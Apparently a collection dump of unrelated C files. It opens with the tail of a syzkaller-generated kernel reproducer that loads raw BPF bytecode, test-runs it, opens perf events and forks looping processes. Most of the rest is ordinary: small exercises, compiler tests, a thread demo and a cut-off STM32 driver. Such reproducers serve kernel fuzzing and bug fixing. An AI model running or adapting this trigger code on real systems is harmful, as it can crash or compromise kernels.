*(uint8_t*)0x20000230 = 0;
*(uint8_t*)0x20000231 = 0;
*(uint8_t*)0x20000232 = 0;
*(uint8_t*)0x20000233 = 0;
*(uint8_t*)0x20000234 = 0;
*(uint8_t*)0x20000235 = 0;
*(uint8_t*)0x20000236 = 0;
*(uint8_t*)0x20000237 = 0;
*(uint8_t*)0x20000238 = 0;
*(uint8_t*)0x20000239 = 0;
*(uint8_t*)0x2000023a = 0;
*(uint8_t*)0x2000023b = 0;
*(uint8_t*)0x2000023c = 0;
*(uint8_t*)0x2000023d = 0;
*(uint8_t*)0x2000023e = 0;
*(uint8_t*)0x2000023f = 0;
*(uint32_t*)0x20000240 = 0;
*(uint32_t*)0x20000244 = 0;
*(uint32_t*)0x20000248 = -1;
*(uint32_t*)0x2000024c = 8;
*(uint64_t*)0x20000250 = 0x20000000;
*(uint32_t*)0x20000000 = 0;
*(uint32_t*)0x20000004 = 0;
*(uint32_t*)0x20000258 = 0x300;
*(uint32_t*)0x2000025c = 0x10;
*(uint64_t*)0x20000260 = 0x20000000;
*(uint32_t*)0x20000000 = 0;
*(uint32_t*)0x20000004 = 0;
*(uint32_t*)0x20000008 = 0;
*(uint32_t*)0x2000000c = 0;
*(uint32_t*)0x20000268 = 0;
*(uint32_t*)0x2000026c = 0;
*(uint32_t*)0x20000270 = -1;
res = syscall(__NR_bpf, 5ul, 0x20000200ul, 0x48ul);
if (res != -1)
r[0] = res;
break;
case 1:
*(uint32_t*)0x20000180 = 1;
*(uint32_t*)0x20000184 = 0x70;
*(uint8_t*)0x20000188 = 0;
*(uint8_t*)0x20000189 = 0;
*(uint8_t*)0x2000018a = 0;
*(uint8_t*)0x2000018b = 0;
*(uint32_t*)0x2000018c = 0;
*(uint64_t*)0x20000190 = 0x1ff;
*(uint64_t*)0x20000198 = 0;
*(uint64_t*)0x200001a0 = 0;
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 0, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 1, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 2, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 3, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 4, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 5, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 6, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 7, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 8, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 9, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 10, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 11, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 12, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 13, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 14, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 15, 2);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 17, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 18, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 19, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 20, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 21, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 22, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 23, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 24, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 25, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 26, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 27, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 28, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 29, 35);
*(uint32_t*)0x200001b0 = 0;
*(uint32_t*)0x200001b4 = 0;
*(uint64_t*)0x200001b8 = 0;
*(uint64_t*)0x200001c0 = 0xe;
*(uint64_t*)0x200001c8 = 0;
*(uint64_t*)0x200001d0 = 0;
*(uint32_t*)0x200001d8 = 0;
*(uint32_t*)0x200001dc = 0;
*(uint64_t*)0x200001e0 = 0;
*(uint32_t*)0x200001e8 = 0;
*(uint16_t*)0x200001ec = 0xfffe;
*(uint16_t*)0x200001ee = 0;
syscall(__NR_perf_event_open, 0x20000180ul, 0, -1ul, -1, 0ul);
break;
case 2:
*(uint32_t*)0x20000080 = r[0];
*(uint32_t*)0x20000084 = 0x2a0;
*(uint32_t*)0x20000088 = 0xe80;
*(uint32_t*)0x2000008c = 0xe000000;
*(uint64_t*)0x20000090 = 0x200000c0;
memcpy(
(void*)0x200000c0,
"\xb9\xff\x03\x00\x00\xff\xff\xff\x7f\x9e\x14\xf0\x05\x05\x1f\xff\xff"
"\xff\x00\x60\x40\x00\x63\x06\x77\xfb\xac\x14\x14\x33\xe0\x00\x03\x01"
"\x62\x02\x9f\x4b\x4d\x2f\x87\xe5\xfe\xca\x6a\xab\x84\x04\x13\xf2\x32"
"\x5f\x1a\x39\x01\x04\x05\x10\x01\x00\x01\x00\x00\x00\x02\x00\xdf\x74"
"\xe3\x0d\x7e\xab\xe7\x73\xaf\xef\x6f\x6e\x47\x98\xab\x11\x7e\x9f\x84"
"\xfa\x40\x6b\x91\x3d\xe8\xad\x82\x7a\x02\x2e\x1f\xae\xe5\x08\x87\xdc"
"\x30\x28\x19\xa8\xa3\xd0\xcd\xe3\x6b\x67\xf3\x37\xce\x8e\xee\x12\x4e"
"\x06\x1f\x8f\xea\x8a\xb9\x5f\x1e\x8f\x99\xc7\xed\xea\x98\x06\x97\x44"
"\x9b\x78\x56\x9e\xa2\x93\xc3\xee\xd3\xb2\x8f\xc3\x20\x5d\xb6\x3b\x2c"
"\x65\xe7\x7f\x19\xab\x28\xc6\x32\xcc\x80\xd9\xf2\xf3\x7f\x9b\xa6\x71"
"\x74\xff\xfc\xb5\x24\x4b\x0c\x90\x9e\xb8\xe1\x21\x16\xbe\xbc\x47\xcf"
"\x97\xd2\xea\x8a\xca\xdf\xb3\x4c\xa5\x80\xb6\x4d\xf7\xc8\x00\x11\x3e"
"\x53\xba\xe4\x01\xcd\x22\xf5\x00\x72\xde\xab\xf9\x3d\xd4\xd3\xe6\x26",
221);
*(uint64_t*)0x20000098 = 0;
*(uint32_t*)0x200000a0 = 0x100;
*(uint32_t*)0x200000a4 = 0;
*(uint32_t*)0x200000a8 = 0x296;
*(uint32_t*)0x200000ac = 0;
*(uint64_t*)0x200000b0 = 0x20000000;
*(uint64_t*)0x200000b8 = 0x20000040;
*(uint32_t*)0x200000c0 = 0;
*(uint32_t*)0x200000c4 = 0;
syscall(__NR_bpf, 0xaul, 0x20000080ul, 0x28ul);
break;
case 3:
*(uint32_t*)0x20000200 = 3;
*(uint32_t*)0x20000204 = 0xe;
*(uint64_t*)0x20000208 = 0x200002c0;
memcpy((void*)0x200002c0,
"\xb7\x02\x00\x00\x03\x00\x00\x00\xbf\xa3\x00\x00\x00\x00\x00\x00"
"\x07\x03\x00\x00\x00\xfe\xff\xff\x7a\x0a\xf0\xff\xf8\xff\xff\xff"
"\x79\xa4\xf0\xff\x00\x00\x00\x00\xb7\x06\x00\x00\xff\xff\xff\xff"
"\x2d\x64\x05\x00\x00\x00\x00\x00\x65\x04\x04\x00\x01\x00\x00\x00"
"\x04\x04\x00\x00\x01\x00\x7d\x60\xb7\x03\x00\x00\x00\x00\x00\x00"
"\x6a\x0a\x00\xfe\x00\x00\x00\x00\x85\x00\x00\x00\x0d\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00"
"\x07\x0c\x24\xaf\xf3\xdd\x52\x39\x01\x13\xc1\xd1",
124);
*(uint64_t*)0x20000210 = 0x20000340;
memcpy((void*)0x20000340, "syzkaller\000", 10);
*(uint32_t*)0x20000218 = 0;
*(uint32_t*)0x2000021c = 0;
*(uint64_t*)0x20000220 = 0;
*(uint32_t*)0x20000228 = 0;
*(uint32_t*)0x2000022c = 0;
*(uint8_t*)0x20000230 = 0;
*(uint8_t*)0x20000231 = 0;
*(uint8_t*)0x20000232 = 0;
*(uint8_t*)0x20000233 = 0;
*(uint8_t*)0x20000234 = 0;
*(uint8_t*)0x20000235 = 0;
*(uint8_t*)0x20000236 = 0;
*(uint8_t*)0x20000237 = 0;
*(uint8_t*)0x20000238 = 0;
*(uint8_t*)0x20000239 = 0;
*(uint8_t*)0x2000023a = 0;
*(uint8_t*)0x2000023b = 0;
*(uint8_t*)0x2000023c = 0;
*(uint8_t*)0x2000023d = 0;
*(uint8_t*)0x2000023e = 0;
*(uint8_t*)0x2000023f = 0;
*(uint32_t*)0x20000240 = 0;
*(uint32_t*)0x20000244 = 0;
*(uint32_t*)0x20000248 = -1;
*(uint32_t*)0x2000024c = 8;
*(uint64_t*)0x20000250 = 0x20000000;
*(uint32_t*)0x20000000 = 0;
*(uint32_t*)0x20000004 = 0;
*(uint32_t*)0x20000258 = 0x300;
*(uint32_t*)0x2000025c = 0x10;
*(uint64_t*)0x20000260 = 0x20000000;
*(uint32_t*)0x20000000 = 0;
*(uint32_t*)0x20000004 = 0;
*(uint32_t*)0x20000008 = 0;
*(uint32_t*)0x2000000c = 0;
*(uint32_t*)0x20000268 = 0;
*(uint32_t*)0x2000026c = 0;
*(uint32_t*)0x20000270 = -1;
res = syscall(__NR_bpf, 5ul, 0x20000200ul, 0x48ul);
if (res != -1)
r[1] = res;
break;
case 4:
*(uint32_t*)0x20000080 = r[1];
*(uint32_t*)0x20000084 = 0x2a0;
*(uint32_t*)0x20000088 = 0x5ee;
*(uint32_t*)0x2000008c = 0xe000000;
*(uint64_t*)0x20000090 = 0x200000c0;
memcpy(
(void*)0x200000c0,
"\xb9\xff\x03\x00\x00\xff\xff\xff\x7f\x9e\x14\xf0\x05\x05\x1f\xff\xff"
"\xff\x00\x00\x40\x00\x63\x06\x77\xfb\xac\x14\x14\x33\xe0\x00\x00\x01"
"\x62\x07\x9f\x4b\x4d\x2f\x87\xe5\xfe\xca\x6a\xab\x84\x02\x13\xf2\x32"
"\x5f\x1a\x39\x01\x01\x05\x0a\x01\x00\x01\x00\x00\x00\x00\x00\xdf\x74"
"\xe3\x0d\x7e\xab\xe7\x73\xaf\xef\x6f\x6e\x47\x98\xab\x11\x7e\x9f\x84"
"\xfa\x40\x6b\x91\x3d\xe8\xad\x82\x7a\x02\x2e\x1f\xae\xe5\x08\x87\xdc"
"\x30\x28\x19\xa8\xa3\xd0\xcd\xe3\x6b\x67\xf3\x37\xce\x8e\xee\x12\x4e"
"\x06\x1f\x8f\xea\x8a\xb9\x5f\x1e\x8f\x99\xc7\xed\xea\x98\x06\x97\x44"
"\x9b\x78\x56\x9e\xa2\x93\xc3\xee\xd3\xb2\x8f\xc3\x20\x5d\xb6\x3b\x2c"
"\x65\xe7\x7f\x19\xab\x28\xc6\x32\xcc\x80\xd9\xf2\xf3\x7f\x9b\xa6\x71"
"\x74\xff\xfc\xb5\x24\x4b\x0c\x90\x9e\xb8\xe1\x21\x16\xbe\xbc\x47\xcf"
"\x97\xd2\xea\x8a\xca\xdf\xb3\x4c\xa5\x80\xb6\x4d\xf7\xc8\x00\x11\x3e"
"\x53\xba\xe4\x01\xcd\x22\xf5\x00\x72\xde\xab\xf9\x3d\xd4\xd3\xe6\x26",
221);
*(uint64_t*)0x20000098 = 0;
*(uint32_t*)0x200000a0 = 0x100;
*(uint32_t*)0x200000a4 = 0;
*(uint32_t*)0x200000a8 = 0x2e0;
*(uint32_t*)0x200000ac = 0;
*(uint64_t*)0x200000b0 = 0x20000380;
memcpy((void*)0x20000380,
"\xff\x82\xc0\xee\xe0\xfb\xd2\x48\x19\xda\xf3\x25\x7f\x77\xca\x52"
"\xc6\x05\xde\xf2\x0d\xf2\xfe\xdf\x60\xe9\x12\x10\x3b\xd5\x98\x3f"
"\x4f\xa6\x83\x4a\x67\xb6\x47\xa1\x3e\xd9\x11\x5c\xd9\x9f\x59\xa4"
"\x24\x92\x4a\x2c\x3f\xe1\x1d\x1e\x51\xfe\xe9\x66\x9e\x5c\x80\x6d"
"\x41\x9b\x42\x2a\x12\x6b\xa8\xdc\x80\xcb\xc6\xbf\xeb\xed\xfc\x8e"
"\xe1\x3e\x9f\xf4\x93\x90\x5b\x1d\x22\xde\xa4\x0e\xd0\xe3\xf6\xa7"
"\x9d\xa9\x3f\x2d\xd8\xe0\x31\x16\xdb\xdc",
106);
*(uint64_t*)0x200000b8 = 0x20000040;
*(uint32_t*)0x200000c0 = 0;
*(uint32_t*)0x200000c4 = 0;
syscall(__NR_bpf, 0xaul, 0x20000080ul, 0x28ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
loop();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/211081277.c
|
extern void abort (void);
static char * __attribute__((noinline))
itos(int num)
{
return (char *)0;
}
static void __attribute__((noinline))
foo(int i, const char *x)
{
if (i >= 4)
abort ();
}
int main()
{
int x = -__INT_MAX__ + 3;
int i;
for (i = 0; i < 4; ++i)
{
char *p;
--x;
p = itos(x);
foo(i, p);
}
return 0;
}
|
the_stack_data/1038134.c
|
#include <math.h>
#include <stdio.h>
struct DOUBLE {
unsigned long mantissa:52;
unsigned int exp:11;
unsigned int sign:1;
};
union DBL {
struct DOUBLE vals;
double flt;
};
void shownum(union DBL val)
{
unsigned int bit;
unsigned long lbit;
printf ("%le\n", val.flt);
printf (" %u %u %lu\n", val.vals.sign, val.vals.exp, val.vals.mantissa);
printf (" %u ", val.vals.sign);
for (bit=0x400; bit>0; bit >>= 1) printf ("%u", (val.vals.exp & bit)?1:0);
printf (" ");
for (lbit=0x8000000000000L; lbit>0; lbit >>= 1) printf ("%u", (val.vals.mantissa & lbit)?1:0);
printf("\n");
}
int main()
{
union DBL val;
//val.flt = INFINITE;
val.vals.sign = 0;
val.vals.exp = 0x7ff;
val.vals.mantissa = 0;
shownum(val);
val.vals.sign = 0;
val.vals.exp = 0x7fe;
val.vals.mantissa = 0xfffffffffffffUL;
shownum(val);
val.vals.sign = 0;
val.vals.exp = 0x3ff;
val.vals.mantissa = 0;
shownum(val);
val.vals.sign = 0;
val.vals.exp = 1;
val.vals.mantissa = 0;
shownum(val);
val.vals.sign = 0;
val.vals.exp = 0;
val.vals.mantissa = 0xfffffffffffffUL;
shownum(val);
val.vals.sign = 0;
val.vals.exp = 0;
val.vals.mantissa = 0x0000000000001UL;
shownum(val);
// zero
val.vals.sign = 0;
val.vals.exp = 0;
val.vals.mantissa = 0x000000UL;
shownum(val);
val.vals.sign = 1;
val.vals.exp = 0;
val.vals.mantissa = 0x000000UL;
shownum(val);
// -
val.vals.sign = 1;
val.vals.exp = 0;
val.vals.mantissa = 0x0000000000001UL;
shownum(val);
val.vals.sign = 1;
val.vals.exp = 0;
val.vals.mantissa = 0xfffffffffffffUL;
shownum(val);
val.vals.sign = 1;
val.vals.exp = 1;
val.vals.mantissa = 0;
shownum(val);
val.vals.sign = 1;
val.vals.exp = 0x3ff;
val.vals.mantissa = 0;
shownum(val);
val.vals.sign = 1;
val.vals.exp = 0x7fe;
val.vals.mantissa = 0xfffffffffffffUL;
shownum(val);
val.vals.sign = 1;
val.vals.exp = 0x7ff;
val.vals.mantissa = 0;
shownum(val);
// QNaN
val.vals.sign = 0;
val.vals.exp = 0x7ff;
val.vals.mantissa = 0x7ffffffffffffUL;
shownum(val);
val.vals.sign = 0;
val.vals.exp = 0x7ff;
val.vals.mantissa = 0x4000000000000UL;
shownum(val);
val.vals.sign = 1;
val.vals.exp = 0x7ff;
val.vals.mantissa = 0x4000000000000UL;
shownum(val);
return 0;
}
|
the_stack_data/122014523.c
|
/*
* Producer/Consumer demo using POSIX threads without synchronization
* Linux version
* MJB Apr'05
*/
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
/* buffer using a shared integer variable */
typedef struct {
int writeable; /*true/false*/
int sharedData;
} buffer;
buffer theBuffer; /* global */
int store(int item, buffer *pb) {
pb->sharedData = item; /*put data in buffer... */
pb->writeable = !pb->writeable;
return 0;
}
int retrieve(buffer *pb) {
int data;
data = pb->sharedData; /*get data from buffer...*/
pb->writeable = !pb->writeable;
return data;
}
void delay(int secs) { /*utility function*/
time_t beg = time(NULL), end = beg + secs;
do {
;
} while (time(NULL) < end);
}
/* core routine for the producer thread */
void *producer(void *n) {
int j=1;
while (j<=10) {
store(j, &theBuffer);
printf("Stored: %d\n", j);
j++;
delay(rand() % 6); /* up to 5 sec */
}
return n;
}
/* core routine for the consumer thread */
void *consumer(void *n) {
int j=0, tot=0;
while (j < 10) {
j = retrieve(&theBuffer);
tot += j;
printf("Retrieved: %d\n", j);
delay(rand() % 6); /* up to 5 sec */
}
printf("Retrieved total = %d\n", tot);
return(n);
}
int main() {
pthread_attr_t *attr = NULL;
pthread_t prodThread, consThread;
theBuffer.writeable = 1;
srand(time(NULL)); /* initialise the rng */
pthread_create(&prodThread, attr, producer, NULL);
pthread_create(&consThread, attr, consumer, NULL);
while (1)
; /*loop forever*/
return 0; /*!!!*/
}
|
the_stack_data/146721.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_putendl_fd.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: fflorens <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2013/11/22 12:43:05 by fflorens #+# #+# */
/* Updated: 2017/03/14 10:59:22 by fflorens ### ########.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
void ft_putendl_fd(char const *s, int fd)
{
char *s2;
if (!s)
return ;
s2 = (char *)s;
while (*s2++)
;
write(fd, s, s2 - s);
write(fd, "\n", 1);
}
|
the_stack_data/88318.c
|
#include <stdio.h>
#include <stdlib.h> /* for atof() */
#define MAXOP 100 /* max size of operand or operator */
#define NUMBER '0' /* signal that a number was found */
int getop(char []);
void push(double);
double pop(void);
/* reverse Polish calculator */
main()
{
int type, flagA=0, error=0;
double op2, a=0, an=0;
char s[MAXOP];
while ((type = getop(s)) != EOF) {
switch (tolower(type)) {
case 'a':
error=0;
push(a);
flagA++;
break;
case '=':
error=0;
flagA++;
break;
case ':':
flagA++;
break;
case NUMBER:
if (flagA < 2){
push(atof(s));
flagA = 0;
}
if (flagA >= 2){
an=atof(s);
flagA+=4;
}
break;
case '+':
push(pop() + pop());
break;
case '*':
push(pop() * pop());
break;
case '-':
op2 = pop();
push(pop() - op2);
break;
case '/':
op2 = pop();
if (op2 != 0.0)
push(pop() / op2);
else
printf("error: zero divisor\n");
break;
case '\n':
if (flagA<2){
flagA=0;
printf("\t%.8g\n", pop());
}
if (error==1){
printf("\n", pop());
flagA=0;
}
if (flagA==2&&error==0||flagA==3&&error==0){
printf("No se a hecho ninguna asignacion debido a que falta un numero\n");
printf("\n", pop()); /*Elimina todo */
flagA=0;
}
if (flagA == 6&&error==0){
a=an;
printf("Asignacion Exitosa");
printf("\n", pop()); /*Elimina todo */
flagA=0;
}
if (flagA == 7&&error==0){
a=an;
printf("Asignacion Exitosa");
printf("\n", pop()); /*Elimina todo */
flagA=0;
}
break;
default:
printf("error: unknown command %s\n", s);
error=1;
break;
}
}
}
#define MAXVAL 100
int sp = 0;
double val[MAXVAL];
void push(double f)
{
if(sp < MAXVAL)
val[sp++]=f;
else
printf("error:stack full, cant push %g\n",f);
}
double pop(void)
{
if(sp>0)
return val[--sp];
else
{
printf("error: stack empty\n");
return 0.0;
}
}
#include<ctype.h>
int getch(void);
void ungetch(int);
int getop(char s[])
{
int i,c;
while((s[0] = c = getch()) == ' ' || c =='\t')
;
s[1] = '\0';
i = 0;
if(!isdigit(c) && c!='.' && c!='-')
return c;
if(c=='-')
if(isdigit(c=getch()) || c == '.')
s[++i]=c;
else
{
if(c!=EOF)
ungetch(c);
return '-';
}
if(isdigit(c))
while(isdigit(s[++i] =c =getch()))
;
if(c=='.')
while(isdigit(s[++i] = c=getch()))
;
s[i] = '\0';
if(c!=EOF)
ungetch(c);
return NUMBER;
}
#define BUFSIZE 100
char buf[BUFSIZE];
int bufp = 0;
int getch(void)
{
return (bufp > 0) ? buf[--bufp] : getchar();
}
void ungetch(int c)
{
if(bufp >= BUFSIZE)
printf("ungetch: too many characters\n");
else
buf[bufp++] = c;
}
|
the_stack_data/111078257.c
|
#include <stdio.h>
double resistor_paralelo(double a, double b) {
return (a * b) / (a + b);
}
double capacitor_paralelo(double a, double b) {
return (a + b);
}
int main() {
double valor1;
double valor2;
char componente;
do {
printf("Digite 'c' para capacitores ou 'r' para resistores\n");
scanf(" %c", &componente);
} while ((componente != 'c') && (componente != 'r'));
switch(componente) {
case 'c':
do {
printf("Insira o primeiro valor\n");
scanf(" %lf", &valor1);
} while (valor1 <= 0);
do {
printf("Insira o segundo valor\n");
scanf(" %lf", &valor2);
} while (valor2 <= 0);
printf("Cequiv: %.2lf\n", capacitor_paralelo(valor1, valor2));
break;
case 'r':
do {
printf("Insira o primeiro valor\n");
scanf(" %lf", &valor1);
} while (valor1 <= 0);
do {
printf("Insira o segundo valor\n");
scanf(" %lf", &valor2);
} while (valor1 <= 0);
printf("Requiv: %.2lf\n", resistor_paralelo(valor1, valor2));
break;
}
return 0;
}
|
the_stack_data/895675.c
|
/*
* Copyright (c) 2017, [email protected]
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the project nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include "cpuid.h"
const char *cpuid_names[] = {
"sse3",
"ssse3",
"sse4.1",
"sse4.2",
"avx",
"avx2",
"avx512f",
"aes",
"pclmulqdq",
"sha",
NULL, /* terminator */
};
int
main(void)
{
unsigned flags = cpuid_flags_read(cpuid_names);
for (unsigned i = 0; cpuid_names[i]; i++) {
if (flags & (1u << i))
fprintf(stderr, "%s enabled\n", cpuid_names[i]);
else
fprintf(stderr, "%s disabled\n", cpuid_names[i]);
}
return 0;
}
|
the_stack_data/89090.c
|
//Avtor Nikola Stoimenov
//Vtor parcijalen ispit 29.12.2017, termin 1 Grupa 2, prva
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#define MAX 20
int absolutna(int x);
void printBrojna(int *x, int element, int kraj);
void printText(char *x, int element, int kraj);
void funk(char *x, int *y, int element, int kraj);
int main(){
char tekst[] = "Zdravo, k.ako si?";
int niza[MAX];
printText(tekst, 0, strlen(tekst));
funk(tekst, niza, 0, strlen(tekst));
printBrojna(niza, 0, strlen(tekst));
return 0;
}
void funk(char *x, int *y, int element, int kraj){
if(isupper(*(x+element))) *(x+element) = tolower(*(x+element));
if(!isspace(*(x+element))){
if(isspace(*(x+element+1)) || isspace(*(x+element-1))) *(y+element) = 0;
else if(isalnum(*(x+element)) && isalnum(*(x+element+1))) *(y+element) = *(x+element) - *(x+element+1);
else if(isalnum(*(x+element)) && ispunct(*(x+element+1))) *(y+element) = -1;
else *(y+element) = 0;
}
else *(y+element) = 0;
if(element < kraj-1) funk(x, y, element+1, kraj);
}
void printText(char *x, int element, int kraj){
printf("%c", *(x+element));
if(element < kraj) printText(x, element+1, kraj);
}
void printBrojna(int *x, int element, int kraj){
printf("%d ", *(x+element));
if(element < kraj) printBrojna(x, element+1, kraj);
}
int absolutna(int x){
if(x<0) x *= -1;
return x;
}
|
the_stack_data/25136848.c
|
#include <assert.h>
#include <float.h>
int main() {
volatile float val = 0;
assert(__builtin_fabsf(val) == 0);
val = -0.0;
assert(__builtin_fabsf(val) == 0);
val = -1.0;
assert(__builtin_fabsf(val) == 1.0);
val = FLT_MAX;
assert(__builtin_fabsf(val) == FLT_MAX);
return 0;
}
|
the_stack_data/875333.c
|
/*
* cmd - Used by the test harness to have a consistent
* test command with no reliance on any external files.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
static void cat(void) {
char buf[257];
while (1) {
int count = read(0, buf, 256);
if (count < 1) {
break;
}
buf[count] = 0;
printf("%s", buf);
}
}
int main(int argc, char *argv[]) {
int retval = 0;
if (argc == 1) {
printf("%s",
"stdout: echo '1' to the stdout with no linefeed.\n"
"stderr: echo '2' to the stderr with no linefeed.\n"
"cat: cat the stdin to the stdout (does not take arguments)\n"
"{}: wrap the stdin with {}\n"
"incr: read the first integer from the stdin, add 1, and print to stdout.\n"
"comma: read the rest of the arguments and print to the stdout comma separated.\n"
"true: set the return value to 0 (the default).\n"
"false: set the return value to 1.\n"
"count: countinuously count from 1 to infinity to stdout with a newline.\n"
"return: set the return value to the next argument\n");
return retval;
}
for (int argi = 1; argi < argc; argi++) {
if (!strcmp("stdout", argv[argi])) {
printf("1");
} else if (!strcmp("stderr", argv[argi])) {
fprintf(stderr, "2");
} else if (!strcmp("cat", argv[argi])) {
cat();
} else if (!strcmp("{}", argv[argi])) {
printf("{");
cat();
printf("}");
} else if (!strcmp("incr", argv[argi])) {
int i = 0;
if (scanf("%d", &i)) {
i = i + 1;
}
printf("%d", i);
} else if (!strcmp("comma", argv[argi])) {
char *delim="";
for (argi++; argi < argc; argi++) {
printf("%s%s", delim, argv[argi]);
delim = ",";
}
} else if (!strcmp("true", argv[argi])) {
retval = 0;
} else if (!strcmp("false", argv[argi])) {
retval = 1;
} else if (!strcmp("count", argv[argi])) {
for (int i=1; 1; i += 1) {
printf("%d\n", i);
}
} else if (!strcmp("return", argv[argi])) {
argi++;
if (argi < argc) {
retval = atoi(argv[argi]);
}
} else {
printf("\nInvalid option %s\n", argv[argi]);
}
}
return retval;
}
|
the_stack_data/170452439.c
|
/**
******************************************************************************
* @file stm32l1xx_ll_dma.c
* @author MCD Application Team
* @brief DMA LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2017 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32l1xx_ll_dma.h"
#include "stm32l1xx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32L1xx_LL_Driver
* @{
*/
#if defined (DMA1) || defined (DMA2)
/** @defgroup DMA_LL DMA
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup DMA_LL_Private_Macros
* @{
*/
#define IS_LL_DMA_DIRECTION(__VALUE__) (((__VALUE__) == LL_DMA_DIRECTION_PERIPH_TO_MEMORY) || \
((__VALUE__) == LL_DMA_DIRECTION_MEMORY_TO_PERIPH) || \
((__VALUE__) == LL_DMA_DIRECTION_MEMORY_TO_MEMORY))
#define IS_LL_DMA_MODE(__VALUE__) (((__VALUE__) == LL_DMA_MODE_NORMAL) || \
((__VALUE__) == LL_DMA_MODE_CIRCULAR))
#define IS_LL_DMA_PERIPHINCMODE(__VALUE__) (((__VALUE__) == LL_DMA_PERIPH_INCREMENT) || \
((__VALUE__) == LL_DMA_PERIPH_NOINCREMENT))
#define IS_LL_DMA_MEMORYINCMODE(__VALUE__) (((__VALUE__) == LL_DMA_MEMORY_INCREMENT) || \
((__VALUE__) == LL_DMA_MEMORY_NOINCREMENT))
#define IS_LL_DMA_PERIPHDATASIZE(__VALUE__) (((__VALUE__) == LL_DMA_PDATAALIGN_BYTE) || \
((__VALUE__) == LL_DMA_PDATAALIGN_HALFWORD) || \
((__VALUE__) == LL_DMA_PDATAALIGN_WORD))
